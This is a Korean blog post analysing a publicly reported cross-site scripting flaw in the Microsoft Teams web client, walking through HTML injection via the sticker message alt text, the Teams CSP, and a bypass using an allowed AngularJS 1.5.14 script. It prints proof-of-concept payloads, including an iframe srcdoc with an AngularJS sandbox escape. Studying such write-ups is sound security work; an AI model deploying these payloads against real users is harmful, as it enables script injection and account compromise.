해당 내용은 아래 사이트를 통해 어떻게 취약점을 찾았는지를 분석하는 글 입니다.

 

Microsoft Teams — Cross Site Scripting (XSS) Bypass CSP

During my early stages of employment at Gais Cyber Security in 2021, my manager had reached out to me over the phone and said with…

medium.com

 

 

Microsoft Teams 에서 스티커를 보내는 기능이 있습니다.

(필자는 해당 기능을 찾아봤는데, 저런 기능이 안보이더라구요,,) 

 

 

 

스티커 기능을 통해 메시지를 전송하면, 아래 사진처럼 POST 방식으로 body에 데이터를 넣어 전송합니다. 이때 content 라는 key의 value 값에는 html 태그들이 입력된 것을 볼 수 있습니다. 이 중에 img 태그의 alt 에는 해당 이미지의 설명이 들어가 있습니다. 이는 그 다음 아래 사진에서 빨간색 박스에 alt 값이 출력된 것을 볼 수 있죠.

 

 

 

이 취약점을 찾은 연구원은 content 라는 key의 value 값에서 간단한 html 태그를 삽입하여 html injection 이 되는 곳을 찾았다고 합니다. 예를 들어, 아래 사진처럼 정말 sanitizer 가 안될 것 같은 `<font>` 태그를 삽입한 거죠.

 

 

 

그 결과, 아래 사진처럼 스티커를 클릭하면 `<font>` 태그가 alt 속성에서 동작하는 것을 확인했습니다. font의 사이즈와 색깔 속성이 제대로 동작한 것이죠.

 

 

간단한 html 태그가 동작하는 것을 알아냈고, `<img src=x onerror=alert(1)>` 와 같은 코드로 javascript 코드를 실행하려고 했지만, CSP 로 인해 차단 되었다고 합니다.

block-all-mixed-content ;
base-uri 'self' *.protection.outlook.com;
child-src 'self' https: data: blob:;
connect-src 'self' blob: https: data: wss://*.delve.office.com:443 wss://*.dc.trouter.io:443 wss://*.trouter.io:443 wss://*.broadcast.skype.com:443 wss://*.tip.skype.net:443 wss://*.cortana.ai:443 wss://*.customspeech.ai:443 wss://*.cts.speech.microsoft.com:443 wss://speech.platform.bing.com:443 wss://*.teams.microsoft.com:443 wss://*.ecdn.microsoft.com:443 wss://*.pptservicescast.officeapps.live.com wss://pptservicescast.officeapps.live.com wss://pptservicescast.gcc.osi.office365.us wss://pptservicescast.osi.office365.us wss://*.pptservicescast.edog.officeapps.live.com wss://pptservicescast.edog.officeapps.live.com wss://*.stateservice.officeapps.live.com wss://stateservice.officeapps.live.com wss://stateservice.gcc.osi.office365.us wss://stateservice.osi.office365.us wss://*.stateservice.edog.officeapps.live.com wss://*.hivestreaming.com:443 wss://*.kollective.app:443 wss://*.kollectivecd.com:443 wss://127.0.0.1:9002 wss://127.0.0.1:9001 ws://localhost:* wss://view-localhost:* wss://*.svc.ms wss://augloop.office.com wss://augloop-dogfood.officeppe.com;
default-src *.office.net;
prefetch-src statics.teams.microsoft.com sunrise.teams.microsoft.com *.live.net *.office.net *.office365.us;
font-src 'self' data: *.delve.office.com *.teams.microsoft.com *.office.net *.office365.us amp.azure.net c.s-microsoft.com edge.skype.net fonts.gstatic.com sxt.cdn.skype.com static2.sharepointonline.com secure.skypeassets.com spoprod-a.akamaihd.net www.microsoft.com fs.microsoft.com;
form-action https:;
frame-ancestors https:;
frame-src blob: data: https: mailto: ms-appx-web: ms-excel: ms-powerpoint: ms-visio: ms-word: onenote: pdf: local.teams.office.com:* local.teams.live.com:* localhost:* msteams: sip: sips: ms-whiteboard-preview:;
img-src 'self' blob: data: https:;
manifest-src 'self';
media-src 'self' *.microsoft.com *.skype.com blob: data: skypevideo: *.giphy.com *.office.net *.office365.us gateway.zscaler.net gateway.zscalerone.net gateway.zscalertwo.net gateway.zscalerthree.net gateway.zscloud.net login.zscalerone.net statics.teams.microsoft.com sunrise.teams.microsoft.com eus-streaming-video-rt-microsoft-com.akamaized.net statics-marketingsites-eus-ms-com.akamaized.net prod-video-cms-rt-microsoft-com.akamaized.net premium-teamsespams-uswe.streaming.media.azure.net teamsespams-uswe.streaming.media.azure.net;
object-src 'none';
script-src *.protection.outlook.com 'nonce-IWnQOlp4z8NpCyv1KpaTFQ==' 'report-sample' 'self' 'unsafe-eval' 'unsafe-inline' blob: *.office.net *.office365.us *.cms.rt.microsoft.com *.delve.office.com *.teams.microsoft.com *.onenote.com *.presence.skype.com *.trouter.io sdk.ecdn.microsoft.com sdk.msit.ecdn.microsoft.com ajax.aspnetcdn.com amp.azure.net apis.google.com appsforoffice.microsoft.com az725175.vo.msecnd.net bat.bing.com c64.assets-yammer.com config.edge.skype.com devspaces.skype.com download.hivestreaming.com *.kontiki.com *.kollective.app *.kollectivecd.com edge.skype.net gateway.zscaler.net gateway.zscalerone.net gateway.zscalertwo.net gateway.zscalerthree.net gateway.zscloud.net latest-swx.cdn.skype.com login.microsoftonline.com login.zscalerone.net midgardbranches.blob.core.windows.net scx-dev.tip.skype.net shellprod.msocdn.com swx.cdn.skype.com web.vortex.data.microsoft.com www.microsoft.com/videoplayer/js/ teams.events.data.microsoft.com browser.events.data.microsoft.com amsglob0cdnstream14.azureedge.net www.bing.com r.bing.com r.msftstatic.com *.virtualearth.net;
style-src 'self' 'unsafe-inline' amp.azure.net edge.skype.net shellprod.msocdn.com statics.teams.microsoft.com sunrise.teams.microsoft.com *.office.net *.office365.us *.protection.outlook.com www.microsoft.com www.bing.com r.bing.com r.msftstatic.com;
worker-src 'self' blob: *.teams.microsoft.com;
report-uri https://csp.microsoft.com/report/teams-web-r4?v=unknown;
trusted-types dompurify gapi#gapi goog#html @msteams/multi-window @msteams/react-web-client 'allow-duplicates';

 

 

해당 CSP에서 어디가 취약한지를 알려주는 사이트가 있습니다. 바로 CSP Evaluator 라는 사이트 입니다.

이 사이트를 통해 위 값을 넣은 뒤 검사하면 `script-src` 가 안전하지 않다고 출력됩니다.

 

 

이 취약점을 찾은 연구원은 Microsoft Teams 브라우저에서 로드하는 js 파일을 분석 했다고 합니다. 이 중에 angular-jquery파일을 발견했습니다. (https://statics.teams.cdn.office.net/hashed/0.2-angular-jquery.min-eee9041.js)

이 라이브러리의 버전을 확인한 결과 1.5.14 버전으로, CSP에서 허용된 도메인과 취약한 버전으로 구성되어 있어 CSP를 우회할 좋은 타겟이 되었습니다.

 

연구원은 아래 코드를 통해 angular-jquery 1.5.14에서 XSS가 동작하는 POC 코드를 작성합니다.

<script src=https://statics.teams.cdn.office.net/hashed/0.2-angular-jquery.min-eee9041.js></script>
<div ng-app ng-csp id=p>{{x={"n":"".constructor.prototype};x["n"].charAt=[].join;$eval("x=alert('numanturle')");}}</div>

 

 

 

이 상태에서 위 POC 코드를 동작시키기 위해 `<iframe srcdoc>` 을 이용했습니다. 아마 `script` 태그를 우회하기 위해 `<iframe srcdoc>` 태그를 사용한 것으로 추측 됩니다. 최종적으로 아래 POC 코드로 Microsoft Teams 브라우저 버전에서 XSS 취약점을 발견하게 되었습니다.

<iframe srcdoc='<script src=https://statics.teams.cdn.office.net/hashed/0.2-angular-jquery.min-eee9041.js>
</script><div ng-app ng-csp id=p>{{x={"n":"".constructor.prototype};x["n"].charAt=[].join;
$eval("x=alert(\\"pwned --> numanturle\\")");}}</div>'>

 

 

 

스티커 기능이 어디에 있는지 몰라, 테스트를 진행해 보지 못했습니다. 기능을 찾았더라도 이미 패치 되어 되진 않겠지만, 이 글을 이해하는데는 도움이 될을 거라고 생각합니다. 

역시 CSP 우회는 언제 봐도 신기하네요,, 다시 CSP에 대해 공부를 해야 할 것 같습니다.

'Bug Bounty' 카테고리의 다른 글

처음으로 CVE 발급 받은.ssul [CVE-2022-29452]  (0) 2022.05.28
NBB-2330  (0) 2022.04.21
NBB-2301  (0) 2022.04.21
NBB-2238  (0) 2022.04.21
NBB-2217  (0) 2022.04.21